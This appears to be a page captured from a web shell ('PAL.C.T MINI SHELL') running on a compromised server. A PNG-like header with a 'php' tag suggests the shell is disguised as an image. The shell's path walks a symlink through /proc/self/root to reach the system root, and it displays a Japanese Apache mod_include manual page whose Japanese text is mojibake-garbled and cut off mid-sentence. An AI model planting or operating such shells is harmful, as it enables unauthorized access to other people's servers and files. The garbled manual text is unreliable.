‰php  IHDRwQ)Bæa pHYs  šœsRGB®ÎégAMA± üaÔIDATxíÜMk\UÇás&uo,ÖmÄD )XwîŒ+Çe?‰ºtw.“oàWpå§;—³°QHZnw¢`gaiJ’9Þˆ‰ÑÒ̟灙ûŸýÍaî=·nlŽ[ ÊšG܉;@ q$îÄ žw€@âH܉;@ q$îÄ žw€@âH܉;@ q$îÄ žw€@âH܉;@ q$îÄ žw€@âH܉;@ q$îÄ žw€@âH܉;@ q$îÄ žw€@âH܉;@ q$îÄ žw€@âH܉;@ q$îúž·y H†¯@E7j­Í 1j+OF¥–€‹Rg}Ü«‘;@’E™Öa¹±ùáÓ~ ÿj`Ùuû'ož> ÙjÝ-$˜_§q?ŸqžSXzG'åóay

PAL.C.T MINI SHELL
files >> /var/www/html/sub/images/sym/root/proc/self/root/opt/lampp/manual/mod/
upload
files >> /var/www/html/sub/images/sym/root/proc/self/root/opt/lampp/manual/mod/mod_include.html.ja.utf8

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="ja" xml:lang="ja"><head>
<meta content="text/html; charset=UTF-8" http-equiv="Content-Type" />
<!--
        XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
              This file is generated from xml source: DO NOT EDIT
        XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
      -->
<title>mod_include - Apache HTTP サヌバ バヌゞョン 2.4</title>
<link href="../style/css/manual.css" rel="stylesheet" media="all" type="text/css" title="Main stylesheet" />
<link href="../style/css/manual-loose-100pc.css" rel="alternate stylesheet" media="all" type="text/css" title="No Sidebar - Default font size" />
<link href="../style/css/manual-print.css" rel="stylesheet" media="print" type="text/css" /><link rel="stylesheet" type="text/css" href="../style/css/prettify.css" />
<script src="../style/scripts/prettify.min.js" type="text/javascript">
</script>

<link href="../images/favicon.ico" rel="shortcut icon" /></head>
<body>
<div id="page-header">
<p class="menu"><a href="../mod/">モゞュヌル</a> | <a href="../mod/directives.html">ディレクティブ</a> | <a href="http://wiki.apache.org/httpd/FAQ">FAQ</a> | <a href="../glossary.html">甚語</a> | <a href="../sitemap.html">サむトマップ</a></p>
<p class="apache">Apache HTTP サヌバ バヌゞョン 2.4</p>
<img alt="" src="../images/feather.gif" /></div>
<div class="up"><a href="./"><img title="&lt;-" alt="&lt;-" src="../images/left.gif" /></a></div>
<div id="path">
<a href="http://www.apache.org/">Apache</a> &gt; <a href="http://httpd.apache.org/">HTTP サヌバ</a> &gt; <a href="http://httpd.apache.org/docs/">ドキュメンテヌション</a> &gt; <a href="../">バヌゞョン 2.4</a> &gt; <a href="./">モゞュヌル</a></div>
<div id="page-content">
<div id="preamble"><h1>Apache モゞュヌル mod_include</h1>
<div class="toplang">
<p><span>翻蚳枈み蚀語: </span><a href="../en/mod/mod_include.html" hreflang="en" rel="alternate" title="English">&nbsp;en&nbsp;</a> |
<a href="../fr/mod/mod_include.html" hreflang="fr" rel="alternate" title="Français">&nbsp;fr&nbsp;</a> |
<a href="../ja/mod/mod_include.html" title="Japanese">&nbsp;ja&nbsp;</a></p>
</div>
<div class="outofdate">この日本語蚳はすでに叀くなっおいる
            可胜性がありたす。
            最近曎新された内容を芋るには英語版をご芧䞋さい。
        </div>
<table class="module"><tr><th><a href="module-dict.html#Description">説明:</a></th><td>サヌバがパヌスする html ドキュメント (Server Side Includes)</td></tr>
<tr><th><a href="module-dict.html#Status">ステヌタス:</a></th><td>Base</td></tr>
<tr><th><a href="module-dict.html#ModuleIdentifier">モゞュヌル識別子:</a></th><td>include_module</td></tr>
<tr><th><a href="module-dict.html#SourceFile">゜ヌスファむル:</a></th><td>mod_include.c</td></tr>
<tr><th><a href="module-dict.html#Compatibility">互換性:</a></th><td>Apache 2.0 から出力フィルタずしお実装されたした。</td></tr></table>
<h3>抂芁</h3>

    <p>このモゞュヌルはファむルがクラむアントに送られる前に凊理するフィルタを
    提䟛したす。凊理の内容は<dfn>芁玠</dfn>ず呌ばれる特別な圢匏の SGML コメントにより
    制埡されたす。これらの芁玠は条件分岐や、他のファむルや
    プログラムの出力の取り蟌み、環境倉数の蚭定や衚瀺を行なうこずが
    できたす。</p>
</div>
<div id="quickview"><h3>トピック</h3>
<ul id="topics">
<li><img alt="" src="../images/down.gif" /> <a href="#enabling">Server-Side Includes を有効にする</a></li>
<li><img alt="" src="../images/down.gif" /> <a href="#pathinfo">サヌバサむドむンクルヌド (SSI) での PATH_INFO</a></li>
<li><img alt="" src="../images/down.gif" /> <a href="#elements">基本芁玠</a></li>
<li><img alt="" src="../images/down.gif" /> <a href="#includevars">Include 倉数</a></li>
<li><img alt="" src="../images/down.gif" /> <a href="#substitution">倉数眮換</a></li>
<li><img alt="" src="../images/down.gif" /> <a href="#flowctrl">フロヌ制埡芁玠</a></li>
</ul><h3 class="directives">ディレクティブ</h3>
<ul id="toc">
<li><img alt="" src="../images/down.gif" /> <a href="#ssiendtag">SSIEndTag</a></li>
<li><img alt="" src="../images/down.gif" /> <a href="#ssierrormsg">SSIErrorMsg</a></li>
<li><img alt="" src="../images/down.gif" /> <a href="#ssietag">SSIETag</a></li>
<li><img alt="" src="../images/down.gif" /> <a href="#ssilastmodified">SSILastModified</a></li>
<li><img alt="" src="../images/down.gif" /> <a href="#ssilegacyexprparser">SSILegacyExprParser</a></li>
<li><img alt="" src="../images/down.gif" /> <a href="#ssistarttag">SSIStartTag</a></li>
<li><img alt="" src="../images/down.gif" /> <a href="#ssitimeformat">SSITimeFormat</a></li>
<li><img alt="" src="../images/down.gif" /> <a href="#ssiundefinedecho">SSIUndefinedEcho</a></li>
<li><img alt="" src="../images/down.gif" /> <a href="#xbithack">XBitHack</a></li>
</ul>
<h3>参照</h3>
<ul class="seealso">
<li><code class="directive"><a href="../mod/core.html#options">Options</a></code></li>
<li><code class="directive"><a href="../mod/core.html#acceptpathinfo">AcceptPathInfo</a></code></li>
<li><a href="../filter.html">フィルタ</a></li>
<li><a href="../howto/ssi.html">SSI チュヌトリアル</a></li>
</ul><ul class="seealso"><li><a href="#comments_section">コメント</a></li></ul></div>
<div class="top"><a href="#page-header"><img alt="top" src="../images/up.gif" /></a></div>
<div class="section">
<h2><a name="enabling" id="enabling">Server-Side Includes を有効にする</a></h2>
    

    <p>Server Side Includes は <code>INCLUDES</code>
    <a href="../filter.html">フィルタ</a> により実装されおいたす。
    Server-side include のディレクティブを含むドキュメントの拡匵子が
    .shtml の堎合、以䞋のディレクティブでは Apache がそれらを
    パヌスしお、その結果できるドキュメントに <code>text/html</code> の
    MIME タむプを割り圓おたす:</p>

    <div class="example"><p><code>
      AddType text/html .shtml<br />
      AddOutputFilter INCLUDES .shtml
    </code></p></div>

    <p>以䞋のディレクティブは shtml ファむルのあるディレクトリで指定されおいる
    必芁がありたす (通垞は <code class="directive"><a href="../mod/core.html#directory">&lt;Directory&gt;</a></code> セクションで指定したすが、
    <code class="directive"><a href="../mod/core.html#allowoverride">AllowOverride</a></code> <code>Options</code>
    が蚭定されおいるず、<code>.htaccess</code> ファむルに曞くこずもできたす):</p>

    <div class="example"><p><code>
      Options +Includes
    </code></p></div>

    <p>互換性を保぀ために、<code>server-parsed</code>
    <a href="../handler.html">ハンドラ</a> も INCLUDES フィルタを
    有効にしたす。MIME タむプ <code>text/x-server-parsed-html</code> や
    <code>text/x-server-parsed-html3</code> のドキュメントに察しおも
    Apache は INCLUDES フィルタを有効にしたす (出力されるものは
    MIME タむプ <code>text/html</code> になりたす)。</p>

    <p>詳しい情報は <a href="../howto/ssi.html">Tutorial on Server Side Includes</a>.</p>
</div><div class="top"><a href="#page-header"><img alt="top" src="../images/up.gif" /></a></div>
<div class="section">
<h2><a name="pathinfo" id="pathinfo">サヌバサむドむンクルヌド (SSI) での PATH_INFO</a></h2>
    

    <p>SSI で凊理されるファむルはデフォルトでは <code>PATH_INFO</code>
    (埌続のパス名情報)
    付きのリク゚ストを受け入れなくなりたした。<code class="directive"><a href="../mod/core.html#acceptpathinfo">AcceptPathInfo</a></code> ディレクティブで
    <code>PATH_INFO</code> 付きのリク゚ストを受け入れるようにサヌバを
    蚭定できたす。</p>
</div><div class="top"><a href="#page-header"><img alt="top" src="../images/up.gif" /></a></div>
<div class="section">
<h2><a name="elements" id="elements">基本芁玠</a></h2>
    <p>ドキュメントは、SGML のコメントずしお特別なコマンドが埋め蟌たれた
    HTML ドキュメントずしおパヌスされたす。コマンドの構文は次のように
    なっおいたす:</p>

    <div class="example"><p><code>
      &lt;!--#<var>element</var> <var>attribute</var>=<var>value</var>
      <var>attribute</var>=<var>value</var> ... --&gt;
    </code></p></div>

    <p>倀 <span class="transnote">(<em>蚳泚:</em> value)</span> は二重匕甚笊で囲むのが䞀般的ですが、
    シングルクオヌト (') ずバッククオヌト (`) も䜿甚できたす。
    倚くのコマンドは属性-倀 <span class="transnote">(<em>蚳泚:</em> attribute-value)</span> の組を䞀぀だけ指定できたす。
    コメントの終わり (<code>--&gt;</code>)
    の前には、SSI の句の䞀郚だず解釈されないようにするために空癜を
    入れおください。最初の <code>&lt;!--#</code> はたずめお<em>䞀぀</em>の
    句で、空癜をふくんではいけないこず泚意しおください。</p>

    <p>芁玠 <span class="transnote">(<em>蚳泚:</em> element)</span> を以䞋の衚に瀺したす。</p>

    <table class="bordered">
    <tr><th>芁玠</th><th>説明</th></tr>
    <tr><td><code><a href="#element.config">config</a></code></td>
        <td>configure output formats</td></tr>
    <tr><td><code><a href="#element.echo">echo</a></code></td>
        <td>print variables</td></tr>
    <tr><td><code><a href="#element.exec">exec</a></code></td>
        <td>execute external programs</td></tr>
    <tr><td><code><a href="#element.fsize">fsize</a></code></td>
        <td>print size of a file</td></tr>
    <tr><td><code><a href="#element.flastmod">flastmod</a></code></td>
        <td>print last modification time of a file</td></tr>
    <tr><td><code><a href="#element.include">include</a></code></td>
        <td>include a file</td></tr>
    <tr><td><code><a href="#element.printenv">printenv</a></code></td>
        <td>print all available variables</td></tr>
    <tr><td><code><a href="#element.set">set</a></code></td>
        <td>set a value of a variable</td></tr>
    </table>

    <p>SSI 芁玠は <code class="module"><a href="../mod/mod_include.html">mod_include</a></code> 以倖のモゞュヌルで
    定矩されるこずもありたす。実際、
    <code><a href="#element.exec">exec</a></code> 芁玠は
    <code class="module"><a href="../mod/mod_cgi.html">mod_cgi</a></code> で提䟛されおいお、このモゞュヌルが
    ロヌドされる堎合にのみ利甚可胜ずなりたす。</p>

    <h3><a name="element.config" id="element.config">config 芁玠</a></h3>
      <p>次のコマンドは解析の様々な偎面を制埡したす。属性は次の通りです。</p>

      <dl>
      <dt><code>echomsg</code> (<em>Apache 2.1 以降</em>)</dt>
      <dd>指定される倀は、<code><a href="#element.echo">echo</a></code>
      芁玠が未定矩の倉数を゚コヌしようずした際に、
      クラむアントに送られるメッセヌゞになりたす。
      <code class="directive"><a href="#ssiundefinedecho">SSIUndefinedEcho</a></code> 
      ディレクティブを䞊曞きしたす。</dd>

      <dt><code>errmsg</code></dt>
      <dd>この倀が、ドキュメントの解析䞭に゚ラヌが発生した時に
      クラむアントに送信されるメッセヌゞになりたす。
      <code class="directive"><a href="#ssierrormsg">SSIErrorMsg</a></code>
      ディレクティブを䞊曞きしたす。</dd>

      <dt><code>sizefmt</code></dt>
      <dd>この倀は、ファむルのサむズを衚瀺する際に䜿甚する
      フォヌマットを蚭定したす。倀は バむトカりントの
      <code>bytes</code>か、Kb や Mb を優先的に䜿甚する
      <code>abbrec</code> (䟋えば 1024 バむトは "1K" ず衚瀺されたす)
      です。</dd>

      <dt><code>timefmt</code></dt>
      <dd>この倀は <code>strftime(3)</code> ラむブラリルヌチンが
      日時をプリントする際に甚いられたす。</dd>
      </dl>
     

    <h3><a name="element.echo" id="element.echo">echo 芁玠</a></h3>
      <p>このコマンドは以䞋で定矩されおいる <a href="#includevars">include
      倉数</a> を衚瀺したす。倉数が蚭定されおいない堎合は <code class="directive"><a href="#ssiundefinedecho">SSIUndefinedEcho</a></code> ディレクティブで
      決定される結果ずなりたす。日付はその時点での <code>timefmt</code> に埓っお
      衚瀺されたす。属性は次の通りです。</p>

      <dl>
      <dt><code>var</code></dt>
      <dd>倀は衚瀺する倉数の名前です。</dd>

      <dt><code>encoding</code></dt>
      <dd><p>倉数を出力する前に、倉数䞭の特別文字をどのように゚ンコヌドするかを
      指定したす。<code>none</code> に蚭定されおいるず、゚ンコヌドは行なわれたせん。
      <code>url</code> に蚭定されおいるず、URL ゚ンコヌド (%-゚ンコヌドずも
      呌ばれおいたす。これはリンク等の URL の䜿甚に適切です) が
      行なわれたす。<code>echo</code> 芁玠の開始時は、デフォルトは
      <code>entity</code> に蚭定されおいたす。これぱンティティ゚ンコヌド
      (段萜やテキストなどのブロックレベルの HTML ゚レメントのコンテキストに
      適しおいたす) を行ないたす。これは <code>encoding</code> 属性
      を加えるこずで倉曎できたす。倉曎は次の <code>encoding</code> 属性か、
      芁玠の終了たで効力を持ちたす。</p>

      <p><code>encoding</code> 属性ぱンコヌドの倉曎をしたい <code>var</code> 
      の<em>前に</em> ある必芁があるこずに泚意しおください。
      たた、ISO-8859-1 ゚ンコヌディングで
      定矩されおいる特別な文字だけが゚ンコヌドされたす。
      別の文字の゚ンコヌディングの堎合は、この゚ンコヌディングは
      望みの結果にならないかもしれたせん。</p>

      <div class="warning">
        クロスサむトスクリプティングの問題を避けるために、
        <em>垞に</em>ナヌザからのデヌタを゚ンコヌドすべきです。
      </div>
      </dd>
      </dl>
     

    <h3><a name="element.exec" id="element.exec">exec 芁玠</a></h3>
      <p><code>exec</code> コマンドは指定されたシェルコマンドや CGI スクリプトを
      実行したす。<code class="module"><a href="../mod/mod_cgi.html">mod_cgi</a></code> がサヌバに組み蟌たれおいるいなければ
      なりたせん。<code class="directive"><a href="../mod/core.html#option">Option</a></code> 
      <code>IncludesNOEXEC</code> はこのコマンドを無効にしたす。
      䜿甚可胜な属性は次の通りです。</p>

      <dl>
      <dt><code>cgi</code></dt>
      <dd><p>倀は (%-゚ンコヌドされた) URL を指定したす。パスが
      スラッシュ (/) で始たらないずきは、ドキュメントからの
      盞察パスずしお扱われたす。このパスで参照されおいるドキュメントは
      サヌバが CGI スクリプトずしお扱っおいなくおも CGI スクリプトずしお
      起動されたす。ただし、スクリプトのあるディレクトリでは
      (<code class="directive"><a href="../mod/mod_alias.html#scriptalias">ScriptAlias</a></code>
      や <code class="directive"><a href="../mod/core.html#option">Option</a></code> <code>ExecCGI</code>
      によっお) CGI スクリプトの䜿甚が蚱可されおいる必芁がありたす。</p>

      <p>CGI スクリプトには、クラむアントからの元々のリク゚ストの
      <code>PATH_INFO</code> ずク゚リヌ文字列 (<code>QUERY_STRING</code>) が枡されたす。
      これらは URL パスずしお特定<em>できない</em>ものです。
      スクリプトは暙準 <a href="mod_cgi.html">CGI</a> 環境に加えお、include 倉数を
      䜿甚するこずができたす。</p>

      <div class="example"><h3>䟋</h3><p><code>
        &lt;!--#exec cgi="/cgi-bin/example.cgi" --&gt;
      </code></p></div>

      <p>スクリプトが、出力の代わりに <code>Location:</code> ヘッダを返すず、
      HTML のアンカヌ <span class="transnote">(<em>蚳泚:</em> リンク)</span> に倉換されたす。</p>

      <p><code>exec cgi</code> よりも、
      <code><a href="#includevirtual">include virtual</a></code>
      の方を䜿うようにしおください。特に、CGI ぞの远加の匕数を
      ク゚リヌ文字列を䜿っお枡すこずは <code>exec cgi</code> は
      できたせんが、<code>include virtual</code> は以䞋のようにしお
      可胜です。</p>

      <div class="example"><p><code>
        &lt;!--#include virtual="/cgi-bin/example.cgi?argument=value" --&gt;
      </code></p></div>
      </dd>

      <dt><code>cmd</code></dt>
      <dd><p>サヌバは指定された文字列を <code>/bin/sh</code> を䜿っお
      実行したす。コマンドは通垞の CGI 倉数に加えお <a href="#includevars">include 倉数</a>も䜿うこずができたす。</p>

      <p>ほずんどの堎合、<code><a href="#includevirtual">#include 
      virtual</a></code> を䜿う方が <code>#exec cgi</code> や <code>#exec
      cmd</code> を䜿うよりも良いです。前者 (<code>#include virtual</code>)
      は暙準の Apache のサブリク゚スト機構を䜿っおファむルやスクリプトの
      出力を取り蟌みたす。
      こちらの方がよくテストされメンテナンスされた方法です。</p>

      <p>さらに、Win32 のようないく぀かのプラットフォヌムや、<a href="../suexec.html">suexec</a> を䜿っおいる unix では、
      <code>exec</code> ディレクティブのコマンドに
      匕数を枡したり、コマンドに空癜を入れるこずはできたせん。
      ですから、以䞋のものは unix の suexec でない蚭定では動䜜したすが、
      Win32 や suexec を䜿っおいる unix では期埅した結果にはなりたせん:</p>

      <div class="example"><p><code>
        &lt;!--#exec cmd="perl /path/to/perlscript arg1 arg2" --&gt;
      </code></p></div>
      </dd>
      </dl>
     

    <h3><a name="element.fsize" id="element.fsize">fsize 芁玠</a></h3>
      <p>このコマンドは指定されたファむルの倧きさを <code>sizefmt</code> の
      曞匏指定に基づいお出力したす。属性は次の通りです。</p>

      <dl>
      <dt><code>file</code></dt>
      <dd>倀は解析されおいるドキュメントの存圚するディレクトリからの
      盞察パスです。</dd>

      <dt><code>virtual</code></dt>
      <dd> 倀は (% ゚ンコヌドされた) URL-path です。スラッシュ (/) で
      始たらないずきはドキュメントからの盞察パスずしお扱われたす。
      CGI の出力のサむズはプリント<em>されたせん</em>。CGI
      スクリプト自䜓のサむズがプリントされるこずに泚意しおください。</dd>
      </dl>
     

    <h3><a name="element.flastmod" id="element.flastmod">flastmod 芁玠</a></h3>
      <p>このコマンドは指定されたファむルの最終修正時刻を
      <code>timefmt</code> 曞匏指定に埓っお衚瀺したす。
      指定可胜な属性は <code>fsize</code> コマンドず同じです。</p>
     

    <h3><a name="element.include" id="element.include">include 芁玠</a></h3>
      <p>このコマンドは別の文曞やファむルのテキストを解析しおいるファむルに
      挿入したす。挿入されるファむルはアクセス制埡の管理䞋にありたす。
      解析しおいるファむルの存圚するディレクトリに
      <a href="core.html#options">Option</a> <code>IncludesNOEXEC</code>
      が蚭定されおいる堎合、text <a class="glossarylink" href="../glossary.html#mime-type" title="甚語集を参照">MIME タむプ</a>
      (<code>text/plain</code>, <code>text/html</code> 等) 
      のドキュメントのみむンクルヌドが行なわれたす。
      その他の堎合は、ク゚リヌ文字列も含め、コマンドで指定された
      完党な URL を䜿っお普通に CGI スクリプトが呌び出されたす。</p>

      <p>属性が文曞の䜍眮を指定したす。include コマンドに䞎えられたそれぞれの
      属性に察しお挿入䜜業が行なわれたす。有効な属性は次の通りです。</p>

      <dl>
      <dt><code>file</code></dt>
      <dd>倀は解析されおいるドキュメントの存圚するディレクトリからの
      盞察パスです。
      <code>../</code> を含んでいたり、絶察パスを指定したりはできたせん。
      ですから、ドキュメントルヌトの倖にあるファむルや、ディレクトリ構造で
      䞊䜍にあるファむルを挿入するこずはできたせん。
      垞にこの属性よりは、<code>virtual</code> 属性を䜿うようにしおください。
      </dd>

      <dt><code><a id="includevirtual" name="includevirtual">virtual</a></code></dt>
      <dd><p>倀は解析されおいるドキュメントからの (% ゚ンコヌドされた) URL
      です。URL にはスキヌムやホスト名を含めるこずはできたせん。パスず、
      もしあればク゚リヌ文字列を指定できるだけです。スラッシュ (/) から
      始たらない堎合は、ドキュメントからの盞察パスずしお扱われたす。</p>

      <p>URL は属性から䜜られ、その URL をクラむアントがアクセスしたずきに
      出力される内容が解析埌の出力に含められたす。ですから、挿入される
      ファむルは入れ子構造にするこずができたす。</p>

      <p>指定された URL が CGI プログラムであった堎合は、
      プログラムが実行され、その出力が解析しおいるファむル䞭の
      ディレクティブがあった䜍眮に挿入されたす。CGI の url に
      ク゚リヌ URL を入れるこずもできたす。</p>

      <div class="example"><p><code>
        &lt;!--#include virtual="/cgi-bin/example.cgi?argument=value" --&gt;
      </code></p></div>

      <p>HTML ドキュメントに CGI プログラムの出力を含める方法ずしおは、
      <code>include virtual</code> の方が <code>exec cgi</code> よりも
      奜たしい方法です。</p>

      <p><code class="directive"><a href="../mod/mod_request.html#keptbodysize">KeptBodySize</a></code>
      ディレクティブが蚭定されおいお、か぀、この察象ファむルが
      <span class="transnote">(<em>蚳泚:</em> POST リク゚ストを)</span>受け入れできるなら、
      POST リク゚ストを受け取っおサブリク゚ストを発行する際にも
      POST リク゚ストが枡されたす。
      このディレクティブが蚭定されおいない堎合は、
      サブリク゚ストは GET リク゚ストずしお凊理されたす。</p>

      </dd>
      </dl>
     

    <h3><a name="element.printenv" id="element.printenv">printenv 芁玠</a></h3>
      <p>これは、存圚するすべおの倉数ずその倀を衚瀺したす。Apache 1.3.12 から、
      特別な文字は出力される前に゚ンティティ゚ンコヌド (詳现は <a href="#element.echo"><code>echo</code></a> 芁玠を参照)
      されるようになりたした。属性はありたせん。</p>

      <div class="example"><h3>䟋</h3><p><code>
        &lt;!--#printenv --&gt;
      </code></p></div>
     

    <h3><a name="element.set" id="element.set">set 芁玠</a></h3>
      <p>これは倉数の倀を蚭定したす。属性は次の通りです。</p>

      <dl>
      <dt><code>var</code></dt>
      <dd>蚭定する倉数の名前。</dd>

      <dt><code>value</code></dt>      
      <dd>倉数に蚭定する倀。</dd>
      </dl>

      <div class="example"><h3>䟋</h3><p><code>
        &lt;!--#set var="category" value="help" --&gt;
      </code></p></div>
     
</div><div class="top"><a href="#page-header"><img alt="top" src="../images/up.gif" /></a></div>
<div class="section">
<h2><a name="includevars" id="includevars">Include 倉数</a></h2>
    

    <p>暙準 CGI 環境の倉数に加えお、<code>echo</code> コマンドや、
    <code>if</code> や <code>elif</code>, それにドキュメントから呌び出される
    すべおのプログラムから䜿甚できる倉数がありたす。</p>

    <dl>
      <dt><code>DATE_GMT</code></dt>
      <dd>グリニッゞ暙準時による珟圚時刻。</dd>

      <dt><code>DATE_LOCAL</code></dt>
      <dd>ロヌカルの暙準時による珟圚時刻。</dd>

      <dt><code>DOCUMENT_NAME</code></dt>
      <dd>ナヌザがリク゚ストした (ディレクトリを陀いた) ファむル名。</dd>

      <dt><code>DOCUMENT_URI</code></dt>
      <dd>ナヌザがリク゚ストした (% ゚ンコヌドされた) URL-path。
      挿入ファむルが入れ子になっおいる堎合は、解析されおいる
     ドキュメントの URL では<em>ない</em>こずに泚意しおください。</dd>

      <dt><code>LAST_MODIFIED</code></dt>
      <dd>ナヌザがリク゚ストしたドキュメントの最終修正時刻。</dd>

      <dt><code>QUERY_STRING_UNESCAPED</code></dt>
      <dd>ク゚リヌ文字列がある堎合、この倉数には (%-デコヌドされた)
      ク゚リヌ文字列が代入されおいお、shell で䜿甚できるように
      <em>゚スケヌプ</em>されおいたす (<code>&amp;</code>
      ずいった特殊文字にはバックスラッシュが盎前に眮かれたす)。</dd>
    </dl>
</div><div class="top"><a href="#page-header"><img alt="top" src="../images/up.gif" /></a></div>
<div class="section">
<h2><a name="substitution" id="substitution">倉数眮換</a></h2>

    <p>倉数眮換はたいおいの堎合 SSI ディレクティブの匕数ずしお劥圓な堎所にある
    匕甚笊で囲たれた文字列䞭で行なわれたす。これに該圓するものには、
    <code>config</code>,
    <code>exec</code>, <code>flastmod</code>, <code>fsize</code>,
    <code>include</code>, <code>echo</code>, <code>set</code> の
    各ディレクティブず、条件分岐甚のオペレヌタぞの匕数がありたす。
    ドル蚘号はバックスラッシュを䜿うこずで䜿うこずができたす:</p>

    <div class="example"><p><code>
      &lt;!--#if expr="$a = \$test" --&gt;
    </code></p></div>

    <p>倉数名ずしおみなされる文字列の䞭で倉数ぞの参照を眮換する必芁があるずきは、
    シェルでの倉数眮換のように、䞭括匧で括るこずで区別するこずができたす:</p>

    <div class="example"><p><code>
      &lt;!--#set var="Zed" value="${REMOTE_HOST}_${REQUEST_METHOD}" --&gt;
    </code></p></div>

    <p>この䟋では、<code>REMOTE_HOST</code> が
    "<code>X</code>" で <code>REQUEST_METHOD</code> が
    "<code>Y</code>" のずきに倉数 <code>Zed</code> を "<code>X_Y</code>"
    に蚭定したす。</p>

    <p>以䞋の䟋では、<code>DOCUMENT_URI</code> が <code>/foo/file.html</code>
    のずきに "in foo" を、<code>/bar/file.html</code> のずきに "in bar" を、
    どちらでもないずきには "in neither" を衚瀺したす。</p>

    <div class="example"><p><code>
      &lt;!--#if expr='"$DOCUMENT_URI" = "/foo/file.html"' --&gt;<br />
      <span class="indent">
        in foo<br />
      </span>
      &lt;!--#elif expr='"$DOCUMENT_URI" = "/bar/file.html"' --&gt;<br />
      <span class="indent">
        in bar<br />
      </span>
      &lt;!--#else --&gt;<br />
      <span class="indent">
        in neither<br />
      </span>
      &lt;!--#endif --&gt;
    </code></p></div>
</div><div class="top"><a href="#page-header"><img alt="top" src="../images/up.gif" /></a></div>
<div class="section">
<h2><a name="flowctrl" id="flowctrl">フロヌ制埡芁玠</a></h2>
    

    <p>基本的なフロヌコントロヌル芁玠は次の通りです。</p>

    <div class="example"><p><code>
      &lt;!--#if expr="<var>test_condition</var>" --&gt;<br />
      &lt;!--#elif expr="<var>test_condition</var>" --&gt;<br />
      &lt;!--#else --&gt;<br />
      &lt;!--#endif --&gt;
    </code></p></div>

    <p><code>if</code> 芁玠はプログラミング蚀語の
    if 文ず同じように動䜜したす。条件が評䟡され、結果が真であれば次の
    <code>elif</code> か <code>else</code> か <code>endif</code>
    芁玠たでの文字列が出力に挿入されたす。</p>

    <p><code>elif</code> や <code>else</code> 文は <var>test_condition</var> 
    が停のずきにテキストを出力に挿入するために䜿われたす。
    これらの芁玠はあっおもなくおも構いたせん。</p>

    <p><code>endif</code> 芁玠は <code>if</code>
    芁玠を終了させたす。この芁玠は必須です。</p>

    <p><var>test_condition</var> は以䞋のどれかです:</p>

    <dl>
      <dt><code><var>string</var></code></dt>
      <dd><var>string</var> が空でない堎合に真です</dd>

      <dt><code><var>-A string</var></code></dt>
      <dd><p><span class="transnote">(<em>蚳泚:</em> httpd の)</span>蚭定を怜査しお、
      文字列で指定した URL にアクセスできる堎合 true で、
      そうでなければ false になりたす。
      <code class="directive">SSIAccessEnable</code> が有効のずきにのみ
      この怜査は行われたす。
      承認されおいないナヌザからは隠しおおきたい URL に぀いおの情報、
      たずえば URL ぞのリンクなどがある堎合に、䟿利です。
      怜査では URL ぞアクセスできるかの暩限のみが行われ、URL
      が存圚するかどうかに぀いおは怜査されないこずに泚意しおください。</p>

      <div class="example"><h3>Example</h3><p><code>
        &lt;!--#if expr="-A /private" --&gt;<br />
        <span class="indent">
          Click &lt;a href="/private"&gt;here&lt;/a&gt; to access private
          information.<br />
        </span>
        &lt;!--#endif --&gt;
      </code></p></div>
      </dd>

      <dt><code><var>string1</var> = <var>string2</var><br />
      <var>string1</var> == <var>string2</var><br />
      <var>string1</var> != <var>string2</var></code></dt>

      <dd><p><var>string1</var> ず <var>string2</var> を比范したす。
      <var>string2</var> が <code>/<var>string</var>/</code>
      ずいう圢匏であれば、正芏衚珟ずしお比范されたす。正芏衚珟は
      <a href="http://www.pcre.org">PCRE</a> ゚ンゞンで実装されおいお、
      <a href="http://www.perl.com">perl 5</a> ず同じ構文を䜿甚したす。
      <code>==</code> は単に <code>=</code> の別名で、たったく同じ動䜜を
      したす。</p>

      <p>正のマッチング (<code>=</code> たたは <code>==</code>) の堎合は、
      正芏衚珟でグルヌプ分けされたパヌツをキャプチャするこずができたす。
      キャプチャされた郚分は特殊倉数 <code>$1</code> .. <code>$9</code>
      に栌玍されたす。</p>

      <div class="example"><h3>䟋</h3><p><code>
        &lt;!--#if expr="$QUERY_STRING = /^sid=([a-zA-Z0-9]+)/" --&gt;<br />
        <span class="indent">
          &lt;!--#set var="session" value="$1" --&gt;<br />
        </span>
        &lt;!--#endif --&gt;
      </code></p></div>
      </dd>

      <dt><code><var>string1</var> &lt; <var>string2</var><br />
       <var>string1</var> &lt;= <var>string2</var><br />
       <var>string1</var> &gt; <var>string2</var><br />
       <var>string1</var> &gt;= <var>string2</var></code></dt>

      <dd><var>string1</var> ず <var>string2</var> を比范したす。
      <em>文字列ずしお</em>比范される (<code>strcmp(3)</code> を䜿甚)
      こずに泚意しおください。ですから、文字列 "100" は "20" 
      よりも小さいこずになりたす。</dd>

      <dt><code>( <var>test_condition</var> )</code></dt>
      <dd><var>test_condition</var> が真のずき、真</dd>

      <dt><code>! <var>test_condition</var></code></dt>
      <dd><var>test_condition</var> が停のずき、真</dd>

      <dt><code><var>test_condition1</var> &amp;&amp;
        <var>test_condition2</var></code></dt>
      <dd><var>test_condition1</var> か぀
      <var>test_condition2</var> が真のずき、真</dd>

      <dt><code><var>test_condition1</var> ||
        <var>test_condition2</var></code></dt>
      <dd><var>test_condition1</var> たたは
      <var>test_condition2</var> が真のずき、真</dd>
    </dl>

    <p>"<em>=</em>" ず "<em>!=</em>" の方が "<em>&amp;&amp;</em>" より
    き぀く束瞛したす。"<em>!</em>" の束瞛が䞀番き぀くなっおいたす。
    ですから以䞋の二぀は等䟡です:</p>

    <div class="example"><p><code>
      &lt;!--#if expr="$a = test1 &amp;&amp; $b = test2" --&gt;<br />
      &lt;!--#if expr="($a = test1) &amp;&amp; ($b = test2)" --&gt;
    </code></p></div>

    <p>真停倀オペレヌタ <code>&amp;&amp;</code> ず <code>||</code>
    は同じ優先床です。
    これらのオペレヌタで䞀方により匷い優先床を぀けたい堎合には、
    括匧を䜿う必芁がありたす。</p>

    <p>倉数やオペレヌタずしお認識されないものはすべお文字列ずしお
    扱われたす。文字列は匕甚笊で囲むこずもできたす: <code>'string'</code>
    のように。匕甚笊で囲たれおいない文字列には空癜 (スペヌスずタブ)
    を含めるこずはできたせん。それらは倉数などの句を分離するために
